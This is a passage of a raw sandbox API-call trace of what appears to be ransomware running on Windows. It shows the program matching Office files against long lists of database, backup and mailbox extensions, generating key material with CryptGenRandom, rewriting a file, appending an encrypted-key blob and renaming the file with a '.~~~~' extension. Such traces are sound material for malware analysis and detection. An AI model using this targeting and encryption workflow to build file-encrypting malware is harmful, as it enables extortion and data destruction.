	[0081.315] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".mdf") returned 0x0
	[0081.316] lstrlenW (lpString=".BAK") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".BAK") returned 0x0
	[0081.316] lstrlenW (lpString=".BAC") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".BAC") returned 0x0
	[0081.316] lstrlenW (lpString=".dbs") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dbs") returned 0x0
	[0081.316] lstrlenW (lpString=".vhdx") returned 5
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".vhdx") returned 0x0
	[0081.316] lstrlenW (lpString=".NDF") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".NDF") returned 0x0
	[0081.316] lstrlenW (lpString=".dat") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dat") returned 0x0
	[0081.316] lstrlenW (lpString=".DBS") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DBS") returned 0x0
	[0081.316] lstrlenW (lpString=".CKP") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".CKP") returned 0x0
	[0081.316] lstrlenW (lpString=".edb") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".edb") returned 0x0
	[0081.316] lstrlenW (lpString=".PST") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".PST") returned 0x0
	[0081.316] lstrlenW (lpString=".dbf") returned 4
	[0081.316] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dbf") returned 0x0
	[0081.317] lstrlenW (lpString=".SQL") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".SQL") returned 0x0
	[0081.317] lstrlenW (lpString=".pst") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".pst") returned 0x0
	[0081.317] lstrlenW (lpString=".dbv") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dbv") returned 0x0
	[0081.317] lstrlenW (lpString=".SDF") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".SDF") returned 0x0
	[0081.317] lstrlenW (lpString=".dtxs") returned 5
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dtxs") returned 0x0
	[0081.317] lstrlenW (lpString=".db3") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".db3") returned 0x0
	[0081.317] lstrlenW (lpString=".OST") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".OST") returned 0x0
	[0081.317] lstrlenW (lpString=".dbx") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dbx") returned 0x0
	[0081.317] lstrlenW (lpString=".DB3") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DB3") returned 0x0
	[0081.317] lstrlenW (lpString=".DAT") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DAT") returned 0x0
	[0081.317] lstrlenW (lpString=".VHDX") returned 5
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".VHDX") returned 0x0
	[0081.317] lstrlenW (lpString=".ndf") returned 4
	[0081.317] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".ndf") returned 0x0
	[0081.318] lstrlenW (lpString=".DB") returned 3
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DB") returned 0x0
	[0081.318] lstrlenW (lpString=".sql") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".sql") returned 0x0
	[0081.318] lstrlenW (lpString=".MYD") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".MYD") returned 0x0
	[0081.318] lstrlenW (lpString=".DBT") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DBT") returned 0x0
	[0081.318] lstrlenW (lpString=".ACCDB") returned 6
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0081.318] lstrlenW (lpString=".fdb") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".fdb") returned 0x0
	[0081.318] lstrlenW (lpString=".bak") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".bak") returned 0x0
	[0081.318] lstrlenW (lpString=".myd") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".myd") returned 0x0
	[0081.318] lstrlenW (lpString=".DTXS") returned 5
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".DTXS") returned 0x0
	[0081.318] lstrlenW (lpString=".ckp") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".ckp") returned 0x0
	[0081.318] lstrlenW (lpString=".dbt") returned 4
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".dbt") returned 0x0
	[0081.318] lstrlenW (lpString=".db") returned 3
	[0081.318] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".db") returned 0x0
	[0081.318] lstrlenW (lpString=".TXT") returned 4
	[0081.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".TXT") returned 0x0
	[0081.319] lstrlenW (lpString=".MDF") returned 4
	[0081.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".MDF") returned 0x0
	[0081.319] lstrlenW (lpString=".bdb") returned 4
	[0081.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".bdb") returned 0x0
	[0081.319] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.319] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.320] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.320] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0081.320] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20131038644) returned 1
	[0081.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a52fcd0, dwHighDateTime=0x1d60e1e)) 
	[0081.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa8c8
	[0081.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa8c8 | out: hHeap=0x300000) returned 1
	[0081.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.321] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.321] GetLastError () returned 0x0
	[0081.321] GetLastError () returned 0x0
	[0081.321] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.321] GetLastError () returned 0x0
	[0081.322] GetLastError () returned 0x0
	[0081.322] ReadFile (in: hFile=0x118, lpBuffer=0x2834fe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesRead=0x26dfec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0081.409] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffa56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.409] WriteFile (in: hFile=0x118, lpBuffer=0x2834fe0*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x5aa, lpOverlapped=0x0) returned 1
	[0081.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2834fe0 | out: hHeap=0x300000) returned 1
	[0081.410] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.410] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.411] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.411] CloseHandle (hObject=0x118) returned 1
	[0081.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100) returned 0x3a3178
	[0081.455] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.~~~~")) returned 1
	[0081.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3178 | out: hHeap=0x300000) returned 1
	[0081.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.456] GetLastError () returned 0x0
	[0081.456] RtlWakeConditionVariable () returned 0x365f70
	[0081.456] GetCurrentThreadId () returned 0x9cc
	[0081.456] GetCurrentThreadId () returned 0x9cc
	[0081.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800b18
	[0081.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800dd0 | out: hHeap=0x300000) returned 1
	[0081.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe1a0 | out: hHeap=0x300000) returned 1
	[0081.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800dd0
	[0081.456] lstrlenW (lpString=".scr") returned 4
	[0081.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".scr") returned 0x0
	[0081.456] lstrlenW (lpString=".cmd") returned 4
	[0081.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".cmd") returned 0x0
	[0081.456] lstrlenW (lpString=".dll") returned 4
	[0081.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dll") returned 0x0
	[0081.456] lstrlenW (lpString=".bat") returned 4
	[0081.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".bat") returned 0x0
	[0081.456] lstrlenW (lpString=".cpl") returned 4
	[0081.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".cpl") returned 0x0
	[0081.457] lstrlenW (lpString=".sys") returned 4
	[0081.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".sys") returned 0x0
	[0081.457] lstrlenW (lpString=".msc") returned 4
	[0081.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".msc") returned 0x0
	[0081.457] lstrlenW (lpString=".com") returned 4
	[0081.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".com") returned 0x0
	[0081.457] lstrlenW (lpString=".lnk") returned 4
	[0081.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".lnk") returned 0x0
	[0081.457] lstrlenW (lpString=".msp") returned 4
	[0081.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".msp") returned 0x0
	[0081.457] lstrlenW (lpString=".pif") returned 4
	[0081.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".pif") returned 0x0
	[0081.457] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.504] lstrlenW (lpString=".sqb") returned 4
	[0081.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".sqb") returned 0x0
	[0081.504] lstrlenW (lpString=".ost") returned 4
	[0081.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".ost") returned 0x0
	[0081.504] lstrlenW (lpString=".txt") returned 4
	[0081.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".txt") returned 0x0
	[0081.504] lstrlenW (lpString=".mdt") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".mdt") returned 0x0
	[0081.505] lstrlenW (lpString=".BDB") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".BDB") returned 0x0
	[0081.505] lstrlenW (lpString=".eql") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".eql") returned 0x0
	[0081.505] lstrlenW (lpString=".DBF") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DBF") returned 0x0
	[0081.505] lstrlenW (lpString=".EQL") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".EQL") returned 0x0
	[0081.505] lstrlenW (lpString=".FDB") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".FDB") returned 0x0
	[0081.505] lstrlenW (lpString=".EDB") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".EDB") returned 0x0
	[0081.505] lstrlenW (lpString=".DACPAC") returned 7
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0081.505] lstrlenW (lpString=".VHD") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".VHD") returned 0x0
	[0081.505] lstrlenW (lpString=".DBV") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DBV") returned 0x0
	[0081.505] lstrlenW (lpString=".dacpac") returned 7
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dacpac") returned 0x0
	[0081.505] lstrlenW (lpString=".sdf") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".sdf") returned 0x0
	[0081.505] lstrlenW (lpString=".accdb") returned 6
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".accdb") returned 0x0
	[0081.505] lstrlenW (lpString=".DBX") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".DBX") returned 0x0
	[0081.505] lstrlenW (lpString=".MDT") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".MDT") returned 0x0
	[0081.505] lstrlenW (lpString=".SQB") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".SQB") returned 0x0
	[0081.505] lstrlenW (lpString=".vhd") returned 4
	[0081.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".vhd") returned 0x0
	[0081.506] lstrlenW (lpString=".bac") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".bac") returned 0x0
	[0081.506] lstrlenW (lpString=".mdf") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".mdf") returned 0x0
	[0081.506] lstrlenW (lpString=".BAK") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".BAK") returned 0x0
	[0081.506] lstrlenW (lpString=".BAC") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".BAC") returned 0x0
	[0081.506] lstrlenW (lpString=".dbs") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dbs") returned 0x0
	[0081.506] lstrlenW (lpString=".vhdx") returned 5
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".vhdx") returned 0x0
	[0081.506] lstrlenW (lpString=".NDF") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".NDF") returned 0x0
	[0081.506] lstrlenW (lpString=".dat") returned 4
	[0081.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", lpSrch=".dat") returned 0x0
	[0081.506] lstrlenW (lpString=".DBS") returned 4
